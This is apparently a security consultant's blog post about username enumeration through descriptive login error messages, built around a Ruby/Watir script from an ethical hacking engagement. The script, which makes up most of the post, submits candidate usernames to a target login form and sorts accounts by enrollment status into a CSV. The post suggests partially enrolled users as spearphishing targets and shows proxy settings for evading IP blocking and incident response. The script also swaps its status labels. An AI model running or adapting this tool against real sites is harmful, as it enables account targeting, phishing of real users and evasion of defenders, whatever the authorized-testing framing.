User Enumeration Party
Poor Error Handling Mistakes
Often we see developers attempting to be descriptive to the user to enable usage, either because of requirements from above or other issues.
But I don't understand, I swear I did this right, why does it say the user doesn't exist! Oh, that's my personal email username.
Quickly turning into a situation where we can take the most common first and last names, OSINT the common company format and make a nice validated target list.
In the case of this project, the NetWorks Group Ethical Hacking team consulted with me to quickly build a custom automated enumeration tool for the job. The web application in question was doing all error validation on the front-end via javascript, as well as form submission. Without being able to have functioning javascript, the site failed to function as a whole.
Leveraging Watir I quickly built a script for them that could not only enumerate active users, but, also identify users that were only partially enrolled and could be targeted with a spearphishing campaign to potentially activate the users with the question/answer pairs presented for full user enrollment.
Here's a quick walkthrough of the scrubbed version of the script that was created, there's a lot more that can and should be added to this for full production! This was handled via a Ruby script that you simply passed your generated username/email file into.
#!/usr/bin/env ruby require 'watir' require 'csv'
Keeping it simple with just Watir and CSV, could build this out much further if desired though!
#### # USAGE # ./enumeration_party.rb usernames.txt # Looking for usernames.txt # Browser open, reading file and starting # Loops through usernames # Writes out user status' to CSV #### # Prepping browser url = "https://thisisatarget.url.com" # Open browser via Watir browser = Watir::Browser.start(url)
In the case of a site blackholing IPs and real Incident Response, you could utilize the Selenium WebDriver calls to integrate proxies to avoid blocking.
profile.proxy = Selenium::WebDriver::Proxy.new :http => 'proxytime.com:8888', :ssl => 'proxytime.com:8888' browser = Watir::Browser.new :chrome, :profile => profile
Back to the other stuff!
# Good logins Array # This was specific to our use case, however, # there could just be an Active vs Non-Existant # user or even more user roles! @user_status_a = [] @user_status_b = [] puts "Browser open, reading file and starting" # Check to see if file exists # It's important for files with usernames to exist. if File.exists?(ARGV[0]) File.open(ARGV[0],'r') do |f| # We go through each line of the usernames file # and compare it to the userID field f.each_line do |username| puts "Looking for #{username}" # You would look for the ID of the text_field that # contains the username, this could also be a class. username_input = browser.text_field(:id, "editUser").set(username) # Find button and click it, we don't care about the password # However, if they validate an empty password, you would want # Something like... # browser.text_field(:id, "editPassword").set("xxxxxx") begin # This is an example of requiring javascript to submit the form. browser.link(:href, "javascript:Submit();").click rescue # Failure to continue puts "Failed to submit the username and password" end # After clicking, you'll need to check on the site functions # manually for yourself. In this case, if it failed # You would be left on the same page with a missing user error. # We're going to somewhat abuse Ruby rescue begin span = browser.span(:id => "validateUser") puts "No luck: #{span.text}" rescue # We logged in! # From manual testing, we knew that if you used a valid username # you would be redirected to something along the lines of # "This is a real user, but, that's not the password!" span = browser.span(:id => "Header_LoggedIn") puts "Logged in! #{span.text}" puts "Checking to see the status of the user" begin # In this case, we knew that if the UserStatus ID span existed, # the user was at Status B, if not, # we rescue into User Status A span = browser.span(:id => "UserStatus").text puts "This user is in status A" @user_status_b.push(username) rescue puts "This user is in status B" @user_status_a.push(username) end # Go back to the login page now sign_out = browser.input(:id => "LogoutButton").click end # Sleep because we're nice people sleep 2 end end else puts "That file didn't exist" end # No more usernames, close browser puts "All done, found #{@user_status_a.count} Status A and #{@user_status_b.count} Status B." puts "You can find the output at output.csv in this folder" CSV.open("output_#{DateTime.now.strftime("%Y_%m_%d")}.csv", "w") do |csv| @user_status_a.each do |fe| csv << [fe.chomp, "Status A"] end @user_status_b.each do |pe| csv << [pe.chomp, "Status B"] end end